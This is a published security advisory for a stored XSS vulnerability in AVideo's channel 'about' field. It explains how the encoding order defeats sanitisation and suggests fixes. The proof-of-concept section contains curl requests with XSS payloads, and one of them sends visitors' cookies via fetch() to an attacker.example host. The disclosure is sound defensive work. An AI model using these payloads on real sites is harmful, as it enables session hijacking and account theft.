wwbn/avideo
Affected
- introduced
0, last affected26.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-33683
AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field
Summary
A sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The xss_esc() function entity-encodes input before strip_specific_tags() can match dangerous HTML tags, and html_entity_decode() on output reverses the encoding, restoring the raw malicious HTML.
Details
Input sanitization in objects/user.php:156:
public function setAbout($about)
{
$this->about = strip_specific_tags(xss_esc($about));
}
The call order is strip_specific_tags(xss_esc($about)). The inner xss_esc() function (objects/functionsSecurity.php:233) calls htmlspecialchars():
$result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
This encodes <script>alert(1)</script> to <script>alert(1)</script>.
Then strip_specific_tags() (objects/functions.php:6623-6636) runs regex patterns to remove dangerous tags:
$string = preg_replace('/<' . $tag . '[^>]*>(.*?)<\/' . $tag . '>/s', $replacement, $string);
But the regex looks for literal <script> — it can never match the entity-encoded <script>. The sanitizer is completely neutralized by the encoding that precedes it.
Output in view/channelBody.php:239-246:
$about = html_entity_decode($user->getAbout());
if (!empty($advancedCustomUser->showAllAboutTextOnChannel)) {
echo $about;
} else {
?>
<div id="aboutAreaPreContent">
<div id="aboutAreaContent">
<?php echo $about; ?>
</div>
</div>
The html_entity_decode() call reverses the htmlspecialchars() encoding, restoring the original raw HTML including <script> tags. The result is echoed directly into the page without any further escaping.
Secondary vector: The <img> tag is not in the strip_specific_tags blocklist (['script', 'style', 'iframe', 'object', 'applet', 'link']), so payloads like <img src=x onerror=...> bypass even the intended tag stripping entirely.
The about field is set via objects/userUpdate.json.php:28, accessible to any logged-in user:
$user->setAbout($_POST['about']);
The channel page (view/channelBody.php) is publicly accessible — no authentication is required to view it.
PoC
Step 1: Log in as any registered user and update the "about" field:
curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
-H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
-d 'about=<img src=x onerror=alert(document.cookie)>&user=attacker&pass=password123&[email protected]&name=Attacker&analyticsCode=&donationLink=&phone='
Step 2: Any user (including unauthenticated visitors) navigates to the attacker's channel page:
https://TARGET/channel/attacker
Expected result: The JavaScript in the onerror handler executes in the visitor's browser, displaying their session cookie.
Alternative payload using `<script>` tag (also works due to the sanitization bypass):
curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
-H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
-d 'about=<script>fetch("https://attacker.example/steal?c="%2Bdocument.cookie)</script>&user=attacker&pass=password123&[email protected]&name=Attacker&analyticsCode=&donationLink=&phone='
Impact
This is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.
Recommended Fix
Option 1 (Recommended — remove html_entity_decode): The entity-encoded string is already safe for display. Remove the decode call in view/channelBody.php:
// Before (VULNERABLE):
$about = html_entity_decode($user->getAbout());
// After (FIXED):
$about = $user->getAbout();
Option 2 (If rich HTML is intended): Reverse the sanitization order in objects/user.php:156 and use a proper sanitizer:
// Before (VULNERABLE):
$this->about = strip_specific_tags(xss_esc($about));
// After (FIXED — strip tags on raw HTML first, then encode):
$this->about = xss_esc(strip_specific_tags($about));
Option 3 (Best — if rich HTML in about is desired): Replace both strip_specific_tags() and xss_esc() with HTMLPurifier, which properly handles allowlisted HTML sanitization:
require_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em');
$purifier = new HTMLPurifier($config);
$this->about = $purifier->purify($about);
And on output, remove html_entity_decode() — output the purified HTML directly.
Medium Basis: The source's own band: MODERATE
0, last affected 26.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0